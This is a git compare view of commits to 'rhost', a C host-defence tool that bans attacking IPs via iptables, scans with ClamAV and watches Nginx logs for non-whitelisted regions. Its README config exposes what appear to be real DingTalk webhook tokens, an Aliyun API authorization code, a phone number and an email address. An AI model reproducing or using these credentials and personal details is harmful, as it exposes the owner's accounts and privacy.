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base: aixiao:950bd28f6097154e2ebb8d70893cf45f9c4653f4
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aixiao:master
aixiao:dev
aixiao:1.0
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compare: aixiao:fa2ea1f83cc1d75915af298daa765210c090a99b
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aixiao:dev
aixiao:master
aixiao:1.0

6 Commits
950bd28f60 ... fa2ea1f83c

Author SHA1 Message Date
aixiao
fa2ea1f83c Merge branch 'dev' 2024-05-22 15:26:08 +08:00
aixiao
2722e9b2e1 修改帮助文件 2024-05-22 15:18:13 +08:00
aixiao
f7f7d7136a 优化获取磁盘使用率 2024-05-22 15:10:19 +08:00
aixiao
00567557ba 添加Nginx日志文件 2024-05-22 11:36:50 +08:00
aixiao
778c9d5fff 增加Nginx规则 2024-05-21 15:28:20 +08:00
aixiao
b5bd70ec71 增加Ng防护 2024-05-21 09:08:14 +08:00
16 changed files with 931 additions and 523 deletions
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12
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,12 @@
{
"files.associations": {
"assert.h": "c",
"ip2region.h": "c",
"conf.h": "c",
"ccronexpr.h": "c",
"clamscan.h": "c",
"libiptc.h": "c",
"stdio.h": "c",
"nginx.h": "c"
}
}

6
Makefile
View File

@ -36,9 +36,9 @@ LIBCOMMON__CFLAGS += -DHAVE_CONFIG_H -I./clamav/common -I./clamav/libclamav -I./
LIBCOMMON_LIB += ./clamav/common/cert_util.c.o ./clamav/common/actions.c.o ./clamav/common/clamdcom.c.o ./clamav/common/getopt.c.o ./clamav/common/hostid.c.o ./clamav/common/idmef_logging.c.o ./clamav/common/misc.c.o ./clamav/common/optparser.c.o ./clamav/common/output.c.o ./clamav/common/tar.c.o ./clamav/common/linux/cert_util_linux.c.o
all: libclamav_rust libclamav rhost
all: libclamav_rust libclamav rhost nginx.o
rhost: conf.o rhost.o libiptc.o ccronexpr.o
rhost: conf.o rhost.o libiptc.o ccronexpr.o nginx.o disk.o
$(CC) $(ip2region_CFLAGS) ip2region/ip2region.c
$(CC) $(ip2region_CFLAGS) ip2region/xdb_searcher.c
$(CC) $(cJSON_CFLAGS) cJSON/cJSON.c
@ -69,7 +69,7 @@ libclamav:
test:
echo $(CMAKE) $(ARCH)
echo $(CMAKE) $(ARCH) $(CFLAGS)
static: conf.o rhost.o libiptc.o
$(CC) $(IPTC_CFLAGS) -c libiptc/libip4tc.c -o libiptc/libip4tc.o

41
README.md
View File

@ -21,7 +21,7 @@ Debian
freshclam # 更新病毒库(必要)
Debian系统使用libiptc库需要nftables切换到iptables
Debian系统使用libiptc库需要nftables切换到iptables (使用了libip4tc-dev库)
Switching to the legacy version:(切换到 iptables)
update-alternatives --set iptables /usr/sbin/iptables-legacy
update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy
@ -65,10 +65,27 @@ make all
./rhost # 只处理非法攻击
关闭
关闭:
killall rhost
帮助:
./rhost -h
Rhost Reject host&scan for viruses (Rhost 拒绝主机并扫描病毒)
Author: AIXIAO@AIXIAO.ME
Version: 1.0
Usage: [-?h] [-d]
Options:
-d : Background running
-? -h --help : help information
The configuration file needs to be in the same directory as the executable file!
配置文件需要与可执行文件位于同一目录中！
May 22 2024 15:05:59 Compile、link.
```
```text
@ -78,8 +95,10 @@ global {
DAEMON = "off"; // on开启后台运行,off不开启(弃用)
TIME = "10"; // 睡眠时间(大于等于1,单位秒)
PUBLIC_IP = "http://inet-ip.info"; // 获取公网IP
IS_DISK = 1; // 磁盘使用率(1开启,非1关闭)
DISK_USE = 95; // 任意某块磁盘使用率告警(大于等于1)
@ -87,9 +106,10 @@ global {
IS_BLOCKED = 1; // 是否封禁攻击IP(1开启,非1关闭)
REFUSE_NUMBER = 3; // 拒绝攻击次数
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
CLAMAV_TIME = "* 1 4 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
CLAMAV_TIME = "* 45 11 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
IPV4_RESTRICTION = 1; // 是否启用IP白名单(1开启,非1关闭)
@ -98,21 +118,24 @@ global {
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
//REGION_URL = "http://opendata.baidu.com/api.php?query=%s&co=&resource_id=6006&oe=utf8"; // 获取IP地域(aliyun付费API, 弃用)
REGION_URL = "https://api01.aliyun.venuscn.com/ip?ip=%s -H Authorization:APPCODE a1d842b8afda418c8ea24271a4e16b1f";
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
NGINX = 1; // 是否启用Nginx白名单
NGINX_LOG_FILE= "/usr/local/nginx/logs/access.log"; // Nginx 日志文件
NGINX_REGION_LIST = "中国 河南 郑州 上海"; // 地域列表(空格隔开)
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
IS_DING_WEBHOOK = 0; // 开启叮叮告警(1开启,非1关闭)
IS_DING_WEBHOOK = 1; // 开启叮叮告警(1开启,非1关闭)
PHONE = "15565979082"; // @的人手机号
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=7f069c672cb878987aa6772cca336740eece4ce36bde12b51b45e9f440e0565a"; // 钉钉WEBHOOK
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=396bce0384cded025087cff3c176ea5e9afb9bd8fcaa46d6fa8c51dd172ba513"; // 钉钉WEBHOOK
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail：https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
RECV_MAIL = "1605227279@qq.com"; // 接收者QQ
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail: https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
}

2
clamav/libclamav_rust/.rustc_info.json
View File

@ -1 +1 @@
{"rustc_fingerprint":537842707314038760,"outputs":{"10376369925670944939":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.63.0\nbinary: rustc\ncommit-hash: unknown\ncommit-date: unknown\nhost: x86_64-unknown-linux-gnu\nrelease: 1.63.0\nLLVM version: 14.0.6\n","stderr":""},"15493033989842322569":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"15697416045686424142":{"success":false,"status":"exit status: 1","code":1,"stdout":"","stderr":"error: `-Csplit-debuginfo` is unstable on this platform\n\n"},"9218888252049904301":{"success":false,"status":"exit status: 1","code":1,"stdout":"","stderr":"error: `-Csplit-debuginfo` is unstable on this platform\n\n"}},"successes":{}}
{"rustc_fingerprint":5376818386984183904,"outputs":{"14371922958718593042":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.71.1\nbinary: rustc\ncommit-hash: unknown\ncommit-date: unknown\nhost: x86_64-unknown-linux-gnu\nrelease: 1.71.1\nLLVM version: 16.0.6\n","stderr":""},"15729799797837862367":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""}},"successes":{}}

29
conf.c
View File

@ -219,6 +219,24 @@ static void parse_global_module(char *content, conf * conf)
conf->DISK_USE = atoi(val_begin);
}
// NGINX
if (strcasecmp(var, "NGINX") == 0) {
val_begin_len = val_end - val_begin;
conf->NGINX = atoi(val_begin);
}
if (strcasecmp(var, "NGINX_LOG_FILE") == 0) {
val_begin_len = val_end - val_begin;
conf->NGINX_LOG_FILE_LEN = val_begin_len;
if (copy_new_mem(val_begin, val_begin_len, &conf->NGINX_LOG_FILE) != 0)
return;
}
if (strcasecmp(var, "NGINX_REGION_LIST") == 0) {
val_begin_len = val_end - val_begin;
conf->NGINX_REGION_LIST_LEN = val_begin_len;
if (copy_new_mem(val_begin, val_begin_len, &conf->NGINX_REGION_LIST) != 0)
return;
}
content = strchr(lineEnd + 1, '\n');
}
}
@ -313,6 +331,11 @@ void free_conf(conf * conf)
if (conf->CLAMAV_ARG)
free(conf->CLAMAV_ARG);
// NGINX
if (conf->NGINX_LOG_FILE)
free(conf->NGINX_LOG_FILE);
if (conf->NGINX_REGION_LIST)
free(conf->NGINX_REGION_LIST);
return;
}
@ -351,6 +374,12 @@ void ptintf_conf(conf * conf)
if (conf->CLAMAV_ARG)
printf("CLAMAV_ARG %s %d\n", conf->CLAMAV_ARG, conf->CLAMAV_ARG_LEN);
// Nginx
if (conf->NGINX_LOG_FILE)
printf("CLAMAV_ARG %s %d\n", conf->NGINX_LOG_FILE, conf->NGINX_LOG_FILE_LEN);
if (conf->NGINX_REGION_LIST)
printf("CLAMAV_ARG %s %d\n", conf->NGINX_REGION_LIST, conf->NGINX_REGION_LIST_LEN);
}
void split_string(char string[], char delims[], char (*whitelist_ip)[WHITELIST_IP_NUM])

7
conf.h
View File

@ -44,6 +44,13 @@ typedef struct CONF
char *IPV4_WHITE_LIST;
int IPV4_WHITE_LIST_LEN;
// NGINX
int NGINX;
char *NGINX_LOG_FILE;
int NGINX_LOG_FILE_LEN;
char *NGINX_REGION_LIST;
int NGINX_REGION_LIST_LEN;
int IS_MAIL;
// 钉钉

59
disk.c Normal file
View File

@ -0,0 +1,59 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mntent.h>
#include <sys/statvfs.h>
// 获取指定路径的磁盘使用率
int get_disk_usage(const char *path, double *usage) {
struct statvfs stat;
if (statvfs(path, &stat) != 0) {
// 处理错误
perror("statvfs failed");
return -1;
}
// 计算磁盘使用率
unsigned long total_blocks = stat.f_blocks;
unsigned long free_blocks = stat.f_bfree;
unsigned long used_blocks = total_blocks - free_blocks;
*usage = (double)used_blocks / total_blocks * 100;
return 0;
}
int disk_usage() {
FILE *mounts;
struct mntent *ent;
mounts = setmntent("/etc/mtab", "r");
if (mounts == NULL) {
perror("setmntent failed");
return 1;
}
while ((ent = getmntent(mounts)) != NULL)
{
double usage = 0;
if (strstr(ent->mnt_fsname, "/dev/") != NULL)
{
//printf("%s %s %s\n", ent->mnt_fsname, ent->mnt_dir, ent->mnt_type);
if (get_disk_usage(ent->mnt_dir, &usage) != 0) {
fprintf(stderr, "Failed to get disk usage for %s\n", ent->mnt_dir);
continue;
}
int threshold = 1;
if (usage > threshold) {
printf("挂载点: %s 使用率: %.2f%% 阀值: %d%%\n", ent->mnt_dir, usage, threshold);
}
}
}
endmntent(mounts);
return 0;
}

12
disk.h Normal file
View File

@ -0,0 +1,12 @@
#ifndef DISK_H
#define DISK_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mntent.h>
#include <sys/statvfs.h>
extern int disk_usage();
#endif

11
libiptc.c
View File

@ -105,7 +105,8 @@ struct ipt_entry_match *get_match(const char *sports, const char *dports, unsign
return match;
}
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append)
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, \
unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append)
{
struct xtc_handle *handle;
struct ipt_entry *chain_entry;
@ -116,6 +117,10 @@ int iptc_add_rule(const char *table, const char *chain, int protocol, const char
int result = 0;
chain_entry = (struct ipt_entry *)calloc(1, sizeof(*chain_entry));
if (chain_entry == NULL) {
perror("calloc failed");
return 1;
}
if (src != 0) {
chain_entry->ip.src.s_addr = src;
@ -137,7 +142,8 @@ int iptc_add_rule(const char *table, const char *chain, int protocol, const char
if (IPPROTO_TCP == protocol)
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "tcp");
if (strcmp(target, "") == 0 || strcmp(target, IPTC_LABEL_ACCEPT) == 0 || strcmp(target, IPTC_LABEL_DROP) == 0 || strcmp(target, IPTC_LABEL_QUEUE) == 0 || strcmp(target, IPTC_LABEL_RETURN) == 0) {
if (strcmp(target, "") == 0 || strcmp(target, IPTC_LABEL_ACCEPT) == 0 || strcmp(target, IPTC_LABEL_DROP) == 0 || \
strcmp(target, IPTC_LABEL_QUEUE) == 0 || strcmp(target, IPTC_LABEL_RETURN) == 0) {
size_t size;
size = IPT_ALIGN(sizeof(struct ipt_entry_target)) + IPT_ALIGN(sizeof(int));
entry_target = (struct ipt_entry_target *)calloc(1, size);
@ -193,6 +199,7 @@ int iptc_add_rule(const char *table, const char *chain, int protocol, const char
result = iptc_insert_entry(labelit, chain_entry, 0, handle);
}
if (!result) {
printf("libiptc error: Can't add, %s\n", iptc_strerror(errno));
free(chain_entry);

3
libiptc.h
View File

@ -30,6 +30,7 @@
#define IPTC_FULL_SIZE IPTC_ENTRY_SIZE + IPTC_MATCH_SIZE + IPTC_TARGET_SIZE
int show_all_rule(char *ipv4);
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append);
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, \
unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append);
#endif

275
libiptc/iptc_delete_rule.c Normal file
View File

@ -0,0 +1,275 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netinet/in.h>
#include <libiptc/libiptc.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define NFC_IP_SRC_PT 0x0200
#define NFC_IP_DST_PT 0x0400
#ifndef IPT_MIN_ALIGN
#define IPT_MIN_ALIGN (__alignof__(struct ipt_entry))
#endif
#define IPT_ALIGN(s) (((s) + ((IPT_MIN_ALIGN)-1)) & ~((IPT_MIN_ALIGN)-1))
#define IPTC_ENTRY_SIZE XT_ALIGN(sizeof(struct ipt_entry))
#define IPTC_MATCH_SIZE XT_ALIGN(sizeof(struct ipt_entry_match) + sizeof(struct ipt_udp))
#define IPTC_TARGET_SIZE XT_ALIGN(sizeof(struct ipt_entry_target))
#define IPTC_FULL_SIZE IPTC_ENTRY_SIZE + IPTC_MATCH_SIZE + IPTC_TARGET_SIZE
#define IPTC_LABEL_ACCEPT "ACCEPT"
#define IPTC_LABEL_DROP "DROP"
#define IPTC_LABEL_QUEUE "QUEUE"
#define IPTC_LABEL_RETURN "RETURN"
static u_int16_t parse_port(const char *port)
{
return atoi(port);
}
static void parse_ports(const char *portstring, u_int16_t *ports)
{
char *buffer;
char *cp;
buffer = strdup(portstring);
if ((cp = strchr(buffer, ':')) == NULL)
ports[0] = ports[1] = parse_port(buffer);
else {
*cp = '\0';
cp++;
ports[0] = buffer[0] ? parse_port(buffer) : 0;
ports[1] = cp[0] ? parse_port(cp) : 0xFFFF;
}
free(buffer);
}
struct ipt_entry_match *get_match(const char *sports, const char *dports, unsigned int *nfcache, const char *protocol)
{
struct ipt_entry_match *match;
struct ipt_udp *udpinfo;
size_t size;
size = IPT_ALIGN(sizeof(*match)) + IPT_ALIGN(sizeof(*udpinfo));
match = (struct ipt_entry_match *)calloc(1, size);
if (!match) {
perror("calloc failed for match");
return NULL;
}
match->u.match_size = size;
strncpy(match->u.user.name, protocol, IPT_FUNCTION_MAXNAMELEN - 2);
match->u.user.name[IPT_FUNCTION_MAXNAMELEN - 2] = '\0';
udpinfo = (struct ipt_udp *)match->data;
udpinfo->spts[1] = udpinfo->dpts[1] = 0xFFFF;
if (sports) {
*nfcache |= NFC_IP_SRC_PT;
parse_ports(sports, udpinfo->spts);
}
if (dports) {
*nfcache |= NFC_IP_DST_PT;
parse_ports(dports, udpinfo->dpts);
}
return match;
}
// 打印 IP 地址
void print_ip_address(const char *label, struct in_addr addr) {
char ip_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &addr, ip_str, sizeof(ip_str));
printf("%s: %s\n", label, ip_str);
}
// 打印规则详细信息
void print_rule(const char *label, const struct ipt_entry *entry) {
printf("%s:\n", label);
print_ip_address(" src", entry->ip.src);
print_ip_address(" dst", entry->ip.dst);
printf(" proto: %u\n", entry->ip.proto);
printf(" iniface: %s\n", entry->ip.iniface);
printf(" outiface: %s\n", entry->ip.outiface);
printf(" target_offset: %u\n", entry->target_offset);
printf(" next_offset: %u\n", entry->next_offset);
printf(" counters: pkts=%llu, bytes=%llu\n", entry->counters.pcnt, entry->counters.bcnt);
}
// 打印匹配结构详细信息
void print_match(const char *label, const struct ipt_entry_match *match) {
printf("%s:\n", label);
printf(" match_size: %u\n", match->u.user.match_size);
printf(" name: %s\n", match->u.user.name);
printf(" revision: %u\n", match->u.user.revision);
// 如果有特定协议的数据，例如 TCP 或 UDP，可以在这里打印具体内容
// 例如：匹配 TCP 协议时，打印源端口和目标端口
if (strcmp(match->u.user.name, "tcp") == 0) {
struct ipt_tcp *tcpinfo = (struct ipt_tcp *)match->data;
printf(" TCP source port: %u\n", ntohs(tcpinfo->spts[0]));
printf(" TCP destination port: %u\n", ntohs(tcpinfo->dpts[0]));
} else if (strcmp(match->u.user.name, "udp") == 0) {
struct ipt_udp *udpinfo = (struct ipt_udp *)match->data;
printf(" UDP source port: %u\n", ntohs(udpinfo->spts[0]));
printf(" UDP destination port: %u\n", ntohs(udpinfo->dpts[0]));
}
}
// 打印目标结构详细信息
void print_target(const char *label, const struct ipt_entry_target *target) {
printf("%s:\n", label);
printf(" target_size: %u\n", target->u.user.target_size);
printf(" name: %s\n", target->u.user.name);
printf(" revision: %u\n", target->u.user.revision);
}
int iptc_delete_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, \
unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target)
{
struct xtc_handle *handle = NULL;
struct ipt_entry *chain_entry = NULL;
struct ipt_entry_match *entry_match = NULL;
struct ipt_entry_target *entry_target = NULL;
ipt_chainlabel labelit;
long match_size = 0;
int result = 1; // Default to failure
// Initialize rule entry
chain_entry = (struct ipt_entry *)calloc(1, sizeof(*chain_entry));
if (!chain_entry) {
perror("calloc failed");
return 1;
}
if (src != 0) {
chain_entry->ip.src.s_addr = src;
chain_entry->ip.smsk.s_addr = 0xFFFFFFFF;
}
if (dest != 0) {
chain_entry->ip.dst.s_addr = dest;
chain_entry->ip.dmsk.s_addr = 0xFFFFFFFF;
}
if (iniface)
strncpy(chain_entry->ip.iniface, iniface, IFNAMSIZ);
if (outiface)
strncpy(chain_entry->ip.outiface, outiface, IFNAMSIZ);
chain_entry->ip.proto = protocol;
if (IPPROTO_UDP == protocol)
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "udp");
if (IPPROTO_TCP == protocol)
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "tcp");
print_match("entry_match", entry_match);
if (strcmp(target, "") == 0 || strcmp(target, IPTC_LABEL_ACCEPT) == 0 || strcmp(target, IPTC_LABEL_DROP) == 0 || strcmp(target, IPTC_LABEL_QUEUE) == 0 || strcmp(target, IPTC_LABEL_RETURN) == 0) {
size_t size;
size = IPT_ALIGN(sizeof(struct ipt_entry_target)) + IPT_ALIGN(sizeof(int));
entry_target = (struct ipt_entry_target *)calloc(1, size);
if (!entry_target) {
perror("calloc failed for target");
goto cleanup;
}
entry_target->u.user.target_size = size;
strncpy(entry_target->u.user.name, target, XT_EXTENSION_MAXNAMELEN);
entry_target->u.user.name[XT_EXTENSION_MAXNAMELEN - 1] = '\0';
}
match_size = entry_match ? entry_match->u.match_size : 0;
print_target("entry_target", entry_target);
struct ipt_entry *tmp_ipt = chain_entry;
chain_entry = (struct ipt_entry *)realloc(chain_entry, sizeof(*chain_entry) + match_size + entry_target->u.target_size);
if (!chain_entry) {
free(tmp_ipt);
free(entry_target);
if (entry_match) free(entry_match);
perror("realloc failed");
return 1;
}
memcpy(chain_entry->elems + match_size, entry_target, entry_target->u.target_size);
chain_entry->target_offset = sizeof(*chain_entry) + match_size;
chain_entry->next_offset = sizeof(*chain_entry) + match_size + entry_target->u.target_size;
if (entry_match) {
memcpy(chain_entry->elems, entry_match, match_size);
}
handle = iptc_init(table);
if (!handle) {
fprintf(stderr, "libiptc error: Can't initialize table %s, %s\n", table, iptc_strerror(errno));
goto cleanup;
}
strncpy(labelit, chain, sizeof(ipt_chainlabel));
labelit[sizeof(ipt_chainlabel) - 1] = '\0';
if (0 == iptc_is_chain(labelit, handle)) {
fprintf(stderr, "libiptc error: Chain %s does not exist!\n", labelit);
goto cleanup;
}
// 打印 chain_entry 详细信息
print_rule("Chain entry", chain_entry);
// Find and delete the matching rule
const struct ipt_entry *entry;
unsigned int rule_num = 0;
for (entry = iptc_first_rule(labelit, handle); entry; (entry = iptc_next_rule(entry, handle), ++rule_num))
{
if (entry->ip.proto == chain_entry->ip.proto &&
entry->ip.src.s_addr == chain_entry->ip.src.s_addr &&
entry->ip.dst.s_addr == chain_entry->ip.dst.s_addr &&
strncmp(entry->ip.iniface, chain_entry->ip.iniface, IFNAMSIZ) == 0 &&
strncmp(entry->ip.outiface, chain_entry->ip.outiface, IFNAMSIZ) == 0)
{
// 打印当前 entry 详细信息
print_rule("Current entry", entry);
printf("Matching rule found. Deleting rule number: %u\n", rule_num);
// 删除规则
if (!iptc_delete_num_entry(labelit, rule_num, handle)) {
fprintf(stderr, "libiptc error: Can't delete entry, %s\n", iptc_strerror(errno));
iptc_free(handle);
return result;
}
// 提交更改
if (!iptc_commit(handle)) {
fprintf(stderr, "libiptc error: Commit error, %s\n", iptc_strerror(errno));
} else {
printf("Rule deleted successfully\n");
result = 0;
break;
}
}
}
cleanup:
if (entry_match) free(entry_match);
if (entry_target) free(entry_target);
if (chain_entry) free(chain_entry);
if (handle) iptc_free(handle);
return result;
}
int main(int argc, char *argv[]) {
// Test deleting rule
unsigned int srcIp;
inet_pton(AF_INET, argv[1], &srcIp);
int result = iptc_delete_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, IPTC_LABEL_DROP);
return result;
}

155
nginx.c Normal file
View File

@ -0,0 +1,155 @@
#include "nginx.h"
#define EVENT_SIZE (sizeof(struct inotify_event))
#define EVENT_BUF_LEN (1024 * (EVENT_SIZE + 16))
#define INITIAL_BUFFER_SIZE 8192
void nginx_iptc(char *ip)
{
unsigned int srcIp;
inet_pton(AF_INET, ip, &srcIp);
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
}
int IP_location(char *string, conf *config)
{
char *area = NULL;
char *xdb_path = "ip2region.xdb";
char *p = strchr(string, ' ');
char IP[64];
memset(IP, 0, 64);
char *t = _time();
char nginx_region_list[WHITELIST_IP_NUM][WHITELIST_IP_NUM] = { { 0 }, { 0 } };
char NGINX_REGION_LIST_COPY[config->NGINX_REGION_LIST_LEN + 1];
memset(NGINX_REGION_LIST_COPY, 0, config->NGINX_REGION_LIST_LEN + 1);
memcpy(NGINX_REGION_LIST_COPY, config->NGINX_REGION_LIST, config->NGINX_REGION_LIST_LEN); // 复制配置字符串，split_string()会改变原数据
split_string(NGINX_REGION_LIST_COPY, " ", nginx_region_list);
// IP 地理位置获取
if ((p - string) > 0) {
memmove(IP, string, p - string);
} else {
printf("Invalid IP string format.\n");
return -1;
}
if (access(xdb_path, F_OK) == -1) { // 判断 ip2region 地址定位库是否存在
xdb_path = "ip2region/ip2region.xdb";
if (access(xdb_path, F_OK) == -1) {
printf("ip2region.xdb DOESN'T EXIST!\n");
return -1;
}
}
area = ip2region(xdb_path, IP);
if (area == NULL) {
printf("ip2region解析地域错误\n");
return -1;
}
my_printf("IP地址:%s, %s\n", IP, area);
//printf("%s, %s\n", config->NGINX_LOG_FILE, config->NGINX_REGION_LIST);
if (config->NGINX == 1) // 开启Nginx防御
{
if (isregion(area, nginx_region_list) == 1) { // 返回1表示在白名单列表
printf(RED "%s Nginx Ip Address: %s, 属于地域白名单: %s\n" COLOR_NONE, t, IP, area);
} else {
my_printf(RED "%s Nginx 封禁 Ip Address: %s, 地址: %s!!!\n" COLOR_NONE, t, IP, area);
nginx_iptc(IP);
}
}
return 0;
}
int nginx_read_log(const char *filename, conf *p)
{
int fd = open(p->NGINX_LOG_FILE, O_RDONLY);
if (fd == -1) {
perror("open");
return -1;
}
// Move to the end of the file
if (lseek(fd, 0, SEEK_END) == -1) {
perror("lseek");
close(fd);
return -1;
}
int inotify_fd = inotify_init();
if (inotify_fd < 0) {
perror("inotify_init");
close(fd);
return -1;
}
int wd = inotify_add_watch(inotify_fd, p->NGINX_LOG_FILE, IN_MODIFY);
if (wd == -1) {
perror("inotify_add_watch");
close(inotify_fd);
close(fd);
return -1;
}
char buffer[EVENT_BUF_LEN];
// Set the file descriptor to non-blocking mode
int flags = fcntl(fd, F_GETFL, 0);
if (flags == -1) {
perror("fcntl F_GETFL");
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
return -1;
}
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) {
perror("fcntl F_SETFL");
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
return -1;
}
// Initial dynamic buffer allocation
size_t buffer_size = INITIAL_BUFFER_SIZE;
char *read_buf = alloca(buffer_size);
if (!read_buf) {
perror("alloca");
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
return -1;
}
while (1) {
int length = read(inotify_fd, buffer, EVENT_BUF_LEN);
if (length < 0) {
perror("read");
break;
}
for (int i = 0; i < length;) {
struct inotify_event *event = (struct inotify_event *)&buffer[i];
if (event->mask & IN_MODIFY) {
int bytes_read;
while ((bytes_read = read(fd, read_buf, buffer_size - 1)) > 0) {
read_buf[bytes_read] = '\0';
IP_location(read_buf, p);
}
if (bytes_read == -1 && errno != EAGAIN) {
perror("read");
break;
}
}
i += EVENT_SIZE + event->len;
}
}
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
return 0;
}

19
nginx.h Normal file
View File

@ -0,0 +1,19 @@
#ifndef NGINX_H
#define NGINX_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <errno.h>
#include <fcntl.h>
#include "rhost.h"
#include "libiptc.h"
#include "ip2region/ip2region.h"
extern int nginx_read_log(const char *filename, conf * conf);
#endif

492
rhost.c
View File

@ -1,16 +1,96 @@
#include "conf.h"
#include "rhost.h"
#include "libiptc.h"
#include "libclamav.h"
#include "clamscan.h"
#include "ccronexpr.h"
#include "nginx.h"
#include "./cJSON/cJSON.h"
#include "ip2region/ip2region.h"
// CRON
#define MAX_SECONDS 60
#define CRON_MAX_MINUTES 60
#define CRON_MAX_HOURS 24
#define CRON_MAX_DAYS_OF_WEEK 8
#define CRON_MAX_DAYS_OF_MONTH 32
#define CRON_MAX_MONTHS 12
#define INVALID_INSTANT ((time_t) -1)
#define DATE_FORMAT "%Y-%m-%d_%H:%M:%S"
#ifndef ARRAY_LEN
#define ARRAY_LEN(x) sizeof(x)/sizeof(x[0])
#endif
#ifdef CRON_TEST_MALLOC
static int cronAllocations = 0;
